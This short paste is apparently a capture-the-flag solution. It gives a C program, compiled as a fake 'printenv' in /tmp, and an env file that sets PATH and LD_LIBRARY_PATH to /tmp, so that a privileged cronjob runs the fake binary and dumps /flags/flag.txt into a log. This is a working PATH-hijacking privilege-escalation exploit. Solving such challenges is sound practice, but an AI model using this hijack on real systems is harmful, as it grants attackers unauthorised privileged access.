CTF EXPLOIT

 avatar
unknown
plain_text
2 years ago
496 B
10
Indexable
/* EXPLOIT CREATED BY José Miguel Isidro aka zmiguel2011*/
/* Compile this program with ggc and output the file to "printenv" in the /tmp folder */
/* gcc -o printenv */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void main() {
    system("/bin/cat /flags/flag.txt");
}

/* Create a new /tmp/env file with: */
/* /tmp/env */
PATH=/tmp
LD_LIBRARY_PATH=/tmp/

/* Let the cronjob run and execute your printenv program and
retrieve the flag from last_log with "cat /tmp/last_log" */